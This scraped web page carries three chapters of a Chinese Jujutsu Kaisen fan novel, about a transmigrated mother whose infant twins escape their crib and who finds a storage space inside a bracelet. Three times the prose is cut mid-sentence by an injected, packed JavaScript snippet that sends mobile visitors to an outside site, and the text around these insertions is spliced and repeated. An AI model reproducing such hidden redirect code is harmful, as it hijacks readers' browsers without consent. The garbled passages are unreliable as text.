秋天,真好。 20. 第十九章:妈妈不在家(上) 宿观音站在树屋门口,第三次回头。 两个小团子并排躺在婴儿床里,四只眼睛盯着她。 宿傩的眼睛亮晶晶的,小嘴咧着,露出没牙的傻笑,像是在说:妈,你放心去吧,我会乖的。 宿昶的眼睛安静地注视着她,像是在说:早去早回。 宿观音看了他们三秒。 然后她走回去,又检查了一遍婴儿床的护栏,又检查了一遍襁褓裹得紧不紧,又检查了一遍床边的软垫铺得够不够厚。 宿傩被她翻来覆去折腾,也不生气,就那么咧着嘴笑。 宿昶也不动,只是安静地看着她忙活。 宿观音检查完第三遍,终于直起腰。 “行。”她说,又看看两个崽,“妈出去一趟,很快回来。” “你们乖乖睡觉,不许乱动,不许越狱,不许打架。” 宿傩“啊”了一声,像是在说:知道了知道了。 宿昳眨眨眼睛,像是在说:你走吧,我们没事。 宿观音又看了他们一眼。 然后她转身,掀开兽皮帘子,走出去。 藤梯放下去的声音。 脚步声远去。 树屋里安静下来。 只有阳光从窗户照进来,在地上画出一道亮堂堂的光斑。 两个小团子并排躺着,看着天花板。 安静了三秒。 然后—— 宿傩开始动了。 他先动了动手指——在襁褓里活动了一下,确定今天老妈裹得没有昨天紧。 然后他试着挣了挣胳膊。 襁褓微微松动了一点。 他眼睛一亮。 继续挣。 小身子在襁褓里扭来扭去,像一条被捆住的毛毛虫。 扭了一会儿,他停下来,喘口气。 然后继续扭。 扭扭停停,停停扭扭。 终于—— 一只小手从襁褓上面那个口子里,慢慢伸了出来。 他看了看那只手,满意地咧开嘴。 然后他偏过头,看向旁边的婴儿床。 宿昶正安静地躺着,眼睛看着天花板,没有动。 宿傩“啊”了一声,像是在说:我出来了! 宿昶偏过头,看了他一眼。 那双黑漆漆的眼睛里,似乎闪过一丝无奈。 然后他也开始动。 和宿傩那种乱挣乱扭不同,他的动作很慢,很稳。 先动手指,确定襁褓的松紧。 再慢慢挪动胳膊,一点一点,从那个被他研究了好几天的开口处往外“滑”。 很快,他的小手也伸出来了。 两只小手,隔着一段距离,在半空中晃了晃。 宿傩又“啊”了一声,像是在说:你也出来了! 宿昶没出声,只是眨了眨眼睛。 然后两个小团子同时开始下一步动作—— 挣襁褓。 宿傩的方法是乱动。小身子左扭右扭,手脚并用,像一只翻壳的小乌龟。 宿昶的方法是研究。他先观察襁褓的构造——哪里裹得紧,哪里是开口,哪里是老妈系带子的地方——然后有针对性地挪动。 一刻钟后。 宿昶先成功。 他把襁褓最外面那层系着的带子,一点一点蹭松了,然后用脚蹬着床板,整个小身子从襁褓里慢慢滑出来。 就像一只脱壳的小虫子。 他躺在婴儿床里,穿着那件老妈缝的小衣服,自由了。 宿傩看着哥哥,眼睛瞪得圆圆的。 他开始更用力地扭。 扭扭扭,扭扭扭。 又过了一刻钟。 他终于也出来了——不是像哥哥那样优雅地滑出来,是把整个襁褓挣散了,小身子从散开的布堆里滚出来。 他躺在婴儿床里,喘着气,但咧着嘴笑。 两个小团子,都自由了。 他们在各自的婴儿床里躺了一会儿,喘口气,恢复体力。 然后—— 宿傩开始往婴儿床边爬。 不对,不是爬,是挪。 他趴在床上,用胳膊撑着,一点一点,往护栏那边挪。 挪一下,歇一会儿。 挪一下,歇一会儿。 终于,他挪到了护栏边。 他伸出小手,抓住护栏的木条。 然后他试着站起来。 当然站不起来。 他试了两次,都失败了,小屁股一撅一撅的,像一条努力上岸的鱼。 第三次,他终于把上半身撑起来了,小脸从护栏上面露出来。 他看到了外面。 看到了哥哥的婴儿床,看到了铺着兽皮的地面,看到了灶台,看到了窗户。 他眼睛亮晶晶的。 然后—— “啪叽。” 他没撑住,脸朝下栽倒在床上。 幸好床铺得软,栽了也不疼。 他翻过身,躺着喘气。 但不一会儿,他又开始往护栏边挪。 挪过去,撑起来,看外面。 “啪叽。”栽倒。 再挪,再撑,再看。 “啪叽。”再栽倒。 循环往复,乐此不疲。 宿昶在旁边的婴儿床里,看着弟弟这一系列操作。 他看了很久。 然后他开始动。 他没有往护栏边挪。 他往婴儿床的另一头挪——那里离弟弟的床最近。 挪到那边之后,他伸手抓住护栏,慢慢把上半身撑起来。 他看了看两个婴儿床之间的距离。 大概有一个巴掌那么宽。 他又看了看自己床上的铺盖——一层软垫,一层薄兽皮。 他松开手,躺回去。 然后他开始挪那个兽皮。 把兽皮的一角,慢慢推到护栏外面。 兽皮软软的,从护栏缝隙里挤出去一点,垂在婴儿床外面。 他又把软垫也往外推。 软垫厚一点,挤不过去,他就用小手一点一点压,把垫子压扁,再往外推。 推了好久。 终于,软垫的一角也从护栏缝隙里挤出去了。 垂在床外面,和兽皮叠在一起。 他看了看那个垂下去的“桥”。 然后他慢慢转过身,头朝那边,脚朝这边。 他先伸出小手,抓住那个垂下去的兽皮。 扯了扯。 挺结实的。 他又伸出小脚,踩在那个软垫上。 软软的,但能撑住。 然后他开始往外滑。 一点一点,先上半身滑出护栏。 小肚子卡在护栏最下面那根横木上,悬空着。 他停了一下,小手紧紧抓着兽皮,小脚蹬着软垫。 然后他用力一翻—— “噗通。” 他掉下去了。 不是摔,是滑下去了。 那叠兽皮和软垫做了缓冲,他落在上面,软软的,稳稳的。 他躺在两个婴儿床之间的地上,看着头顶的木梁,眨眨眼睛。 成功了。 宿傩在旁边的婴儿床里,看到了全过程。 他眼睛瞪得圆圆的,小嘴张着,像是看到了什么了不起的魔法。 然后他开始学着哥哥那样操作。 但他没有兽皮和软垫当“桥”——他的都被他自己挣散了。 他也不管。 他就那么翻过护栏,直接往下跳。 “啪叽。” 脸朝下摔在兽皮上。 幸好铺得厚,不疼。 他翻过身,躺着,咧开嘴笑了。 两个小团子,并排躺在地上。 一个是从“桥”上优雅滑下来的。 一个是直接摔下来的。 但都成功了。 他们都从婴儿床里出来了。 阳光从窗户照进来,落在他们身上。 宿傩偏过头,看着哥哥。 “啊!”他叫了一声,声音响亮,像是在说:我们出来了! 宿昶偏过头,看着弟弟。 他没叫,只是眨了眨眼睛。 然后他们同时开始观察周围。 这是他们第一次,以“自由身”的角度,看这个树屋。 平时躺在婴儿床里,看到的只有天花板,还有偶尔走过来走过去的老妈的腿。 现在躺在地上,视野完全不一样了。 他们看到了床腿,看到了灶台下面的柴火堆,看到了储物区那些高高挂起的陶罐,看到了窗户下面那道亮亮的阳光。 宿傩兴奋地“啊啊”叫,小手动来动去,像是想指给哥哥看。 宿昶则安静地观察着,眼睛慢慢移动,把每一个角落都记下来。 过了一会儿。 宿傩开始动。 他先试着翻身。 翻了一下,没翻过去。 又翻一下,还是没翻过去。 他急了,小身子扭来扭去,像一条搁浅的鱼。 扭着扭着,他居然滚了一圈。 从躺着变成趴着。 他趴在兽皮上,脸贴着软软的毛毛,愣了一下。 然后他开始试着往前爬。 手脚并用,像一只小乌龟。 爬了一下,没动。 又爬一下,还是没动。 他急得“啊啊”叫。 宿昶在旁边看着。 他观察了一会儿弟弟的爬行动作,然后开始自己尝试。 他先侧过身,用手撑着地,慢慢把自己撑起来一点。 然后他试着往前挪。 一下。 一点点。 又一下。 又一点点。 他没有爬,他是用胳膊撑着,一点一点往前蹭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265104|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一只慢慢蠕动的小虫子。 但确实在往前移动。 宿傩在旁边看呆了。 他停下来,看着哥哥一点一点蹭远。 然后他开始模仿。 他也侧过身,用手撑着地,往前蹭。 蹭一下,没动。 又蹭一下,动了。 他眼睛一亮。 继续蹭。 两个小团子,一个在左,一个在右,都用胳膊撑着,一点一点往前蹭。 像两条小小的毛毛虫,在兽皮上蠕动。 蹭啊蹭,蹭啊蹭。 宿傩蹭着蹭着,忽然碰到了什么东西。 他停下来,抬头看。 是床腿。 一根粗粗的木头,立在他面前。 他伸出小手,摸了摸。 凉凉的,滑滑的,和婴儿床的护栏有点像。 他又摸了摸。 然后他张开嘴,想啃一口。 刚要啃到,忽然想起什么,停下来。 他看看那根床腿,又看看自己的小手,又看看床腿。 小眉头皱起来,像是在思考:这个能啃吗? 最后他没啃。 不知道为什么,就是觉得不能啃。 他继续往前蹭。 绕过床腿,蹭啊蹭。 蹭到窗户下面了。 那里有一道亮亮的阳光,照在地上,亮得晃眼。 他停下来,看着那道阳光。 然后他伸出小手,放到阳光里。 手变亮了。 他又把手缩回来,变暗了。 再伸进去,又亮了。 他“啊啊”叫了两声,像是在说:这个好玩! 宿昶没去玩阳光。 他蹭到了另一个地方——储物区下面。 那里挂着好多陶罐,用藤条固定着,悬在半空中。 他抬起头,看着那些陶罐。 一个个圆圆的,大大的,挂在那里,像树上长的奇怪果子。 他看了一会儿,然后低下头,开始研究别的东西。 他发现地上有个小东西。 是一个小小的、白白的、硬硬的东西。 他捡起来——用刚学会的抓握动作,慢慢把那个小东西抓在手里。 仔细看。 是一小块脆骨。 大概是老妈之前做“奶嘴棒”的时候,掉在地上的。 他把那个小脆骨拿在手里,翻来覆去看了很久。 然后他张开嘴,把它塞进去了。 啃。 咔嚓咔嚓。 小小的声音,在安静的树屋里响起。 宿傩听到声音,回过头。 他看到哥哥在啃东西。 他眼睛一亮,开始四处找。 找啊找,找啊找。 没找到。 他急了,“啊啊”叫起来,像是在说:我的呢!我的呢! 宿昶看了他一眼。 然后他慢慢把手里的脆骨拿出来,往弟弟那边伸了伸。 像是在说:你要吗? 宿傩立刻蹭过去。 两个小团子面对面坐着——不对,是面对面趴着。 宿昶把那个脆骨递给他。 宿傩接过来,塞进嘴里,咔嚓咔嚓啃起来。 啃了两口,他忽然停下来。 他把那个脆骨拿出来,看了看,又往哥哥那边伸回去。 像是在说:你也啃。 宿昶接过来,也啃了两口。 又递回去。 两个小团子,你一口我一口,啃着那块小小的脆骨。 阳光慢慢移动,照在他们身上。 咔嚓咔嚓的声音,在树屋里轻轻回响。 啃着啃着,宿傩忽然停下来。 他看着哥哥,咧开嘴笑了。 那个笑容,傻乎乎的,但亮得晃眼。 宿昶看着弟弟,眼睛弯了弯。 然后他们继续啃。 啃完那块脆骨,两个小团子都累了。 他们并排躺着,在窗户下面的阳光里。 暖洋洋的,软软的,舒服得眼睛都眯起来。 宿傩打了个小哈欠。 宿昶也打了个小哈欠。 两个小小的身体,并排躺在阳光里,呼吸慢慢变得均匀。 睡着了。 树屋里一片安静。 只有阳光,慢慢移动。 照在他们身上。 照在他们的小脸上。 照在那两只不知什么时候又碰在一起的小手上。 妈妈不在家的第一个时辰。 两个小团子,完成了人生第一次“越狱”。 探索了树屋的每一个角落。 分享了一块小小的脆骨。 然后—— 在阳光里睡着了。 这就是妈妈不在家的时候。 双胞胎会干的事。 21. 第二十章:妈妈不在家(下) 宿傩先醒的。 他睁开眼的时候,阳光已经移开了,他躺在阴影里。 他眨眨眼睛,适应了一下光线。 然后他偏过头,看旁边。 哥哥还在睡,小小的眉头舒展着,呼吸均匀。 他又看了看周围。 还是那个树屋,还是那些床腿、灶台、陶罐。 但他总觉得哪里不对。 他想了想,想不出来。 于是他开始动。 先翻身——这次翻过去了,变成趴着。 再往前蹭——蹭了两下,停下来。 因为他看到了一个东西。 门口。 那个挂着兽皮帘子的地方,是老妈每天进出的地方。 帘子垂着,看不见外面。 但帘子下面,有一道细细的缝隙。 光从缝隙里透进来,在地上画出一条亮线。 宿傩盯着那条亮线看了很久。 然后他开始往那边蹭。 蹭啊蹭,蹭啊蹭。 绕过床腿,绕过灶台,绕过一堆他叫不出名字的东西。 终于,他蹭到了门口。 他伸出小手,抓住兽皮帘子的边角。 扯了扯。 帘子动了动,露出更宽一点的缝隙。 他又扯了扯。 帘子又动了动。 他“啊啊”叫了两声,像是在用力。 帘子被他扯开一个口子。 外面的光涌进来,晃得他眯起眼睛。 他等眼睛适应了,才慢慢睁开。 然后他看到了—— 外面。 那是他从来没有见过的世界。 蓝色的天。白色的云。绿色的树。还有风,吹得树叶哗啦啦响。 他愣住了。 小嘴张着,眼睛瞪得圆圆的,就那么看着外面。 看了很久很久。 然后他“啊”了一声。 那一声很轻,不像平时那种又急又亮的叫唤。 是轻轻的,像是惊叹,又像是疑问。 像是在说:外面,这么大? 他又往外面看了看。 看到了阳台的护栏,看到了护栏外面的树枝,看到了树枝缝隙里的天空。 他还看到了—— 一只鸟。 小小的,棕色的,停在护栏上,正在歪着头看他。 他盯着那只鸟。 那只鸟也盯着他。 对视了三秒。 鸟“叽”了一声,飞走了。 他追着那只鸟的身影看,看着它飞远,变成一个小点,消失在树丛里。 他又“啊”了一声。 这次的声音,带着一点着急,像是在说:等等,别走! 但鸟已经没了。 他看着那片树丛,很久很久。 直到身后传来动静。 他回过头。 宿昶醒了,正慢慢往这边蹭。 他停下来,看着哥哥。 宿傩“啊啊”叫了两声,像是在说:快来!外面! 宿昶蹭到他旁边,也伸出小手,抓住兽皮帘子。 两个小团子一起扯。 帘子被扯开更大一个口子。 外面的世界,完全展现在他们面前。 蓝天,白云,树林,风。 还有阳台上那些老妈摆的杂物,那些木条加高的护栏,那些晾着的软布。 宿傩“啊啊”叫着,小手指着外面,像是在给弟弟介绍。 宿昶安静地看着,眼睛慢慢移动,把每一个细节都记下来。 看了很久。 宿傩忽然又动了。 他往外面蹭。 不是蹭到门口就停,是蹭过门槛,蹭到阳台上。 宿昶愣了一下,然后也跟上去。 两个小团子,一前一后,蹭到了树屋外面的阳台上。 阳光直接照在他们身上,暧洋洋的。 风吹过来,有点凉,但很舒服。 宿傩眯起眼睛,享受那种风吹在脸上的感觉。 宿昳也眯起眼睛,感受着风。 然后宿傩开始往护栏边蹭宿昶看着他的方向,微微皱起眉头。 他“啊”了一声,声音比平时急一点,像是在说:别过去。 宿傩没理他,继续蹭。 蹭到护栏边了。 他伸出小手,抓住护栏的木条。 然后他试着站起来。 当然站不起来。 他撑着护栏,把上半身撑起来一点,小脸从护栏上面露出来。 他看到了下面。 那是他从来没有见过的高度。 地面在下面,很远很远。 树在下面,很小很小。 他愣了一下。 然后—— “啪叽。” 他没撑住,脸朝下栽倒在阳台地板上。 幸好铺着兽皮,不疼。 他翻过身,躺着,喘着气。 但他眼睛亮晶晶的,咧着嘴笑。 宿昶蹭到他旁边,看着他。 那双黑漆漆的眼睛里,似乎在说:你没事吧? 宿傩“啊”了一声,像是在说:没事!好玩! 然后他又开始往护栏边蹭。 又撑起来,看下面。 又栽倒。 再蹭,再看,再栽倒。 循环往复,乐此不疲。 宿昶没有跟着他做。 他蹭到护栏边,但只是趴着,把小脸贴在护栏最下面的缝隙那里,往外看。 从这个角度,也能看到下面。 但没有那么吓人。 他看了一会儿,然后开始观察别的东西。 阳台上晾着的那些软布,被风吹得一飘一飘的。 他盯着那些飘动的布,眼睛跟着它们移动。 风大的时候,布飘得高一点。 风小的时候,布垂下来。 他看了一会儿,似乎明白了什么规律。 然后他开始看远处的树。 那些树,有的高,有的矮,有的叶子黄了,有的还是绿的。 风吹过的时候,整片树林都在动。 像一大片绿色的波浪。 他看得入了神。 宿傩玩累了,也趴到他旁边,一起看。 两个小团子,并排趴在阳台上,透过护栏的缝隙,看着外面的世界。 风轻轻吹着。 阳光暖暖照着。 树叶沙沙响着。 没有人说话——当然也不会说话。 就那么看着。 看了很久很久。 忽然,宿傩“啊”了一声。 他的小手,指着远处。 那里,有两只鸟飞过,一前一后,在树林上空飞旋。 宿昶顺着他的手指看过去。 两只鸟,越飞越远,消失在云里。 宿傩又“啊”了一声,像是在说:它们去哪了? 宿昶没出声。 他只是看着那片云,很久很久。 然后他收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265105|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回视线,看着弟弟。 宿傩还在看着天空,小嘴微张,眼睛亮晶晶的。 宿昶看了他一会儿。 然后他伸出小手,轻轻碰了碰弟弟的手。 宿傩回过头,看着他。 两个小团子四目相对。 宿傩咧开嘴,笑了。 宿昳的眼睛弯了弯。 然后他们继续并排趴着,继续看着外面的世界。 树屋里,很安静。 阳台上,也很安静。 只有风,吹着树叶,吹着软布,吹着两个小团子 毛茸茸的脑袋。 过了很久。 宿傩忽然打了个小哈欠。 他困了。 但他不想进去。 他眯着眼睛,继续趴着,继续看。 宿昳也困了。 但他也没动。 两个小团子,就那么趴着,半眯着眼睛,吹着风, 晒着太阳。 阳光慢慢移动。 树影慢慢拉长。 云在天上慢慢飘。 他们在阳台上,慢慢睡着了。 等宿观音回来的时候,天已经有点晚了。 她背着从安倍那里领来的糙米和盐,顺着藤梯爬 上树屋。 掀开兽皮帘子—— 没人。 婴儿床里空空荡荡,襁褓散落一地。 她愣了一下。 然后她听到外面有声音。 很轻很轻的呼吸声。 她走到阳台门口,往外一看。 两个小团子,并排趴在阳台上,睡得正香。 一个粉色脑袋,一个黑色脑袋。 并排贴着,呼吸均匀。 夕阳的余晖照在他们身上,镀上一层暖暖的光。 宿观音站在那里,看着他们。 看了很久很久。 然后她笑了。 不是那种大声的笑,是那种轻轻的、从心里漫出来的笑。 她没有叫醒他们。 她轻轻走回去,把东西放好,把散落的襁褓捡起来,把婴儿床整理好。 然后她拿了一张最软的兽皮,轻轻盖在两个小团子身上。 自己也在旁边坐下,靠着墙,看着他们。 夕阳慢慢沉下去。 天边染上橙色、粉色、紫色。 两个小团子在晚霞里睡着。 她在旁边看着。 忽然,宿傩在梦里动了动,小嘴咂吧了两下,像是在啃什么东西。 宿昶的眉头微微皱了皱,然后又舒展开。 她伸出手,轻轻摸了摸两个小脑袋。 “两个小崽子,”她轻声说,“趁妈妈不在,越狱是吧?” “还跑到阳台上睡觉?” “胆儿挺肥啊。” 两个小团子当然听不到。 继续睡。 她看着他们,又笑了。 然后她靠回墙上,闭上眼睛。 听着风声,听着两个崽的呼吸声。 忽然觉得,这样的日子,也挺好。 不是打打杀杀的那种好。 是平静的、安稳的、能听见自己心跳的那种好。 窗外,晚霞慢慢褪去。 夜幕降临。 星星一颗一颗亮起来。 树屋的阳台上,两个小团子并排睡着,盖着一张软软的兽皮。 旁边,他们的妈妈靠着墙,也睡着了。 平安京的夜,很安静。 也很暖和。 22. 第二十一章:手镯里的秘密 第二十一章:手镯里的秘密 第三十三天。 宿观音是被一阵细细的“咔嚓咔嚓”声吵醒的。 不是那种让人紧张的声响,是那种一听就知道——两个小崽子又在啃东西了。 她没睁眼,就那么躺着,听着那个声音。 咔嚓咔嚓,咔嚓咔嚓。 节奏还挺稳。 左边那个啃得快一点,咔嚓咔嚓咔嚓——像是在赶时间。 右边那个啃得慢一点,咔嚓——咔嚓——咔嚓——像是在品茶。 她嘴角忍不住弯了弯。 这两个小东西,啃个脆骨都能啃出风格来。 又躺了一会儿,她才慢慢睁开眼。 午后的阳光从窗户照进来,把整个树屋照得亮堂堂的。她躺在摇椅上——那把用天然弧度树干做的原始摇椅,铺着厚厚的兽皮,躺上去一晃一晃,舒服得能直接睡到天黑。 她偏过头,看向两个崽的方向。 两个小团子并排躺在地上——准确说是并排趴在兽皮上,一人手里拿着一根“奶嘴棒”,正啃得专心致志。 粉色那个,宿傩,整个小身子都在使劲,小嘴动得飞快,口水顺着下巴往下淌,滴在兽皮上,湿了一小片。但他完全顾不上,眼睛盯着手里的脆骨棒,像是怕它跑了。 黑色那个,宿昶,侧躺着,一只手拿着棒棒,慢慢啃着,眼睛半眯着,像是在享受。偶尔啃下一小点脆骨,他还会停下来,慢慢嚼,慢慢咽,然后再啃下一口。 两个小团子都长大了不少。 第三十三天,和他们刚出生那会儿比,简直像换了个人。 小脸圆了,肉了,抱起来沉甸甸的。眼睛更亮了,看东西更专注了。最重要的是——他们开始有“表情”了。 宿傩的表情永远是灿烂的、急切的、不管不顾的。笑的时候咧着嘴,急的时候皱着眉,饿的时候整张小脸都写着“快给我吃的”。 宿昳的表情永远是淡淡的、安静的、若有所思的。笑的时候只是眼睛弯一弯,急的时候眉头微微皱一下,饿的时候……他也会盯着碗看,但看的方式和弟弟不一样,像是在计算粥还有多久能好。 宿观音看着他们,忽然觉得,这三十三天,过得真快。 快得像一场梦。 但她低头看看自己——蜜蜡色的皮肤,黑色的经文纹身,隆起的肚子已经平了,但腰上还有点松垮的肉——不是梦,是真的。 她穿越了,怀孕了,生了,带娃了。 三十三天,从一个懵逼的女大学生,变成一个能在平安京山里独自生存、带两个崽、顺便挂名阴阳寮客卿的……鬼母。 她自己都觉得离谱。 但离谱归离谱,日子还得过。 她躺在摇椅上,一晃一晃,看着两个小崽子啃棒棒。 阳光暖洋洋的,照得人懒洋洋的。 她打了个哈欠,又眯上眼睛。 摇椅咯吱咯吱响。 咔嚓咔嚓声继续。 一切都那么安宁。 然后—— 她手腕上忽然一热。 宿观音猛地睁开眼。 低头一看,那个暗灰色的咒具手镯,正在发光。 不是那种刺眼的光,是那种温润的、柔和的、像是被什么东西唤醒的微光。 她愣住了。 这手镯她戴了快两个月,从密室捡到它开始,就一直是那个死气沉沉的灰色,除了吸收咒灵结晶的时候会微微亮一下,平时就是个普通镯子。 现在怎么突然发光了? 她坐起来,把镯子凑到眼前仔细看。 光越来越亮,但不是往外扩散,是往里收,像是镯子内部有什么东西正在慢慢打开。 她皱起眉,试着用咒力探了一下。 然后她眼前一花。 再睁开眼的时候,她发现自己站在一个完全陌生的地方。 不对,不是陌生。 是一个空间。 大概一百平米左右,方方正正的,像一间客厅。四周是淡淡的、灰白色的“墙壁”,摸上去软软的,有点像凝固的光。头顶是同样的材质,散发着柔和的光,没有灯,但整个空间亮堂堂的。 地上铺着——居然是木地板。 真正的木地板,平整光滑,比她那个树屋的地板精致一百倍。 空间里放着几个箱子。 木头的箱子,大小不一,摞在一起,像是等人来打开。 宿观音站在那里,愣了好几秒。 然后她低头看自己的手。 手还在,镯子还在,但镯子现在不发光了,只是静静地戴在手腕上。 她又抬头看这个空间。 一百平米,木地板,几个箱子,柔和的光。 她咽了口唾沫。 “这什么情况……” 她慢慢往前走了一步。 脚踩在木地板上,实实的,稳稳的,有轻微的“嗒”声。 是真的。 不是幻觉。 她又走了几步,走到那几个箱子前面。 箱子是木头的,做工不算精致,但很结实。最上面那个箱子上,放着一张纸。 纸是白色的,折叠着,上面没有字。 她拿起那张纸,打开。 上面有字。 不是平安京的汉字,是简体中文。 她愣了一下,然后开始读。 “宿观音女士,你好。” “当你读到这封信的时候,应该已经适应了平安京的生活吧?” “首先,请允许我自我介绍一下——我是这个咒术世界所谓的‘世界意识’,你可以理解为这个世界的‘天道’或者‘规则本身’。” “你原本是一个二十一世纪的普通女大学生,因为通宵肝论文导致猝死——这件事我很抱歉,但当时的情况确实有点突然,我来不及干预。” “不过,我看到了你的灵魂,也看到了你生前的一些……嗯,特质。” “比如,你遇到麻烦时第一反应是用拳头解决。” “比如,你一个人生活了很久,但从来没有怨天尤人。” “比如,你看过《咒术回战》这部漫画,对这个世界有一定的了解。” “所以,我做了一个决定——把你的灵魂投放到这个时代,投放到这具刚刚被制造出来的‘傀身’里。” “这具身体本来是那批术师用来孕育诅咒的容器,但你的灵魂占据了它,让它变成了真正的‘人’。那批人大概做梦也想不到,他们精心制造的‘器’,最后会变成他们最害怕的存在。” “至于你手上的那个手镯——那是我给你的补偿。” “它原本只是一件普通的咒具,能帮你收集咒灵结晶。但我对它做了一点小小的改造,让它多了一个功能:一个一百平米左右的空间,可以存放东西,也可以让你暂时躲进去。” “这个空间是‘静止’的,你在这里的时候,外面的时间几乎不会流动。你可以放心使用。” “那几个箱子里,是我让人准备的一些东西——不是什么太好的东西,但应该能帮上忙。” “另外,我还会不定期往这个空间里投放一些物资。具体时间不确定,但每次你打开手镯的时候,可以顺便看看有没有新东西。” “写这封信,除了告诉你这些,还有一件事想拜托你。” “你知道这个世界的未来——两面宿傩会成为‘诅咒之王’,会给这个世界带来巨大的动荡,无数人会因此死去。” “但你也知道,那并不是他‘天生’的结局。他的成长轨迹,受到太多因素的影响。如果他有一个不一样的童年,如果他有一个不一样的母亲,如果他有人教他什么是‘对’,什么是‘错’……” “事情会不会不一样?” “我不知道。” “但我想试试。” “所以,我想拜托你——尽你所能,改变这个糟糕的未来。” “不是为了什么伟大的使命,只是为了这两个孩子,能有一个不一样的人生。” “你愿意吗?” “当然,你也可以拒绝。毕竟你已经帮了他们很多,你没有义务再承担更多。” “但如果你愿意——我会在你需要的时候,从侧面提供一些帮助。” “比如,让某些人‘恰好’找不到你们的踪迹。” “比如,让某些物资‘恰好’出现在你能找到的地方。” “比如,让某些关键时刻,‘恰好’有那么一点点运气。” “我能做的有限,但我会尽力。” “最后,祝你和两个孩子平安。” “——一个看着这个世界很久很久的存在” “PS:箱子里有一些婴儿用品,是给你那两个崽准备的。他们现在应该三十三天了吧?长得快,用得上。” 宿观音拿着那张纸,看了很久。 很久很久。 然后她把纸放下,低头看着手腕上的手镯。 暗灰色,平平无奇,戴在手腕上一点存在感都没有。 谁能想到,这东西里藏着一百平米的空间? 谁能想到,这东西背后是一个世界的意识? 谁能想到,她穿越不是意外,是被“安排”的? 她站在那里,沉默了很久。 然后她笑了。 不是那种苦笑,不是那种冷笑,是那种——不知道该说什么、只好笑的、复杂的笑。 “行吧,”她对着空气说,“原来我穿越是被安排的。” “我还以为是我运气不好呢。” 没人回答她。 当然没人回答。 她又拿起那张纸,从头到尾看了一遍。 看到“如果你愿意”那一段的时候,她停了一下。 愿意吗? 改变那个糟糕的未来。 让两个崽,有一个不一样的人生。 她想了想宿傩那张永远灿烂的、傻笑着的脸。 又想了想宿昶那双安静的、黑漆漆的眼睛。 她想起他们刚出生时的样子,想起他们第一次睁开眼睛看她的样子,想起他们抢勺子、啃脆骨、趁她不在家把肉干洒一地的样子。 她想起他们并排睡在阳光下的小模样。 她想起他们的小手在半空中碰到一起的那个瞬间。 她低下头。 “还用问吗?”她轻声说。 “当然愿意。” “废话。” 她把纸折好,塞进怀里。 然后她转身,走向那几个箱子。 第一个箱子打开—— 里面是布料。 不是平安京那种粗糙的麻布,是柔软的、细腻的、像是棉布又不是棉布的东西。好几匹,叠得整整齐齐,颜色是素净的米白和浅灰。 她摸了摸,软得不像话。 “这给崽做衣服正合适……”她喃喃。 第二个箱子打开—— 里面是小衣服。 不是那种需要自己裁的布,是做好的、现成的、小小的一件一件。 小袄,小裤,小帽子,小袜子。 整整齐齐叠着,颜色素净,针脚细密。 她拿起一件小袄,在自己眼前展开。 小小的,刚好是三十三天大的小崽子能穿的大小。 她看着那件小袄,眼眶忽然有点热。 “这……”她吸了吸鼻子,“这太贴心了……” 第三个箱子打开—— 里面是吃的。 不是平安京那种糙米粗盐,是密封好的、一小包一小包的东西。她拿起一包看了看,上面贴着小标签——“婴儿米粉,温水冲泡即可”。 又拿起一包——“肉松,可直接食用”。 再拿起一包——“磨牙饼干,适合长牙期婴儿”。 她看着那些标签,愣了好几秒。 然后她笑了。 笑着笑着,眼眶又热了。 “奶粉呢?”她嘟囔,“有没有奶粉?” 翻了翻,还真有。 一小罐,密封得好好的,上面写着“婴儿配方奶粉,适用0-6个月”。 她抱着那罐奶粉,站在那儿,忽然不知道该说什么。 第四个箱子打开—— 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宿傩抬起头,看着她,眨眨眼睛,像是在问:什么奶嘴? 宿昳也抬起头,看着她,那双黑漆漆的眼睛里,像是在问:你在说什么? 宿观音看着他们的小表情,忍不住笑出声。 “听不懂是吧?”她说,“没关系,以后慢慢就知道了。” 她从摇椅上站起来,走到他们旁边,蹲下来,一边一个,摸了摸他们的小脑袋。 两个小团子被摸得眯起眼睛。 宿傩蹭了蹭她的手,继续啃。 宿昳也蹭了蹭,然后继续看着她。 宿观音看着他们,沉默宿观音看着他们,沉默了一会儿。 然后她轻声说:“崽,有人跟妈说,想让你们以后不一样。” “不想让你们变成那个什么诅咒之王’,不想让你们被所有人害怕。” “你们觉得呢?” 两个小团子当然听不懂,只是继续看着她。 宿傩“啊”了一声,像是在说:你说什么? 宿昳眨眨眼睛,像是在说:我们在听。 宿观音看着他们,笑了。 “行,”她说,“那咱们就试试。” “试试看,能不能让这个操蛋的世界,变得好一点。”: “试试看,能不能让你们,开开心心长大。” “试试看,能不能——” 她顿了顿。 ——让那个什么“糟糕的未来’,变成‘不一样的未来’。” 她站起来,走到储物区,把那罐奶粉拿出来。 又拿出一个小木碗,一个小木勺。 然后她坐回摇椅上,开始研究那个奶粉罐上的说明。 “温水冲泡....一勺奶粉配三十毫升水...... 两个小团子继续啃脆骨,偶尔抬头看她一眼,像是在好奇她在干什么。过了一会儿,奶粉冲好了。 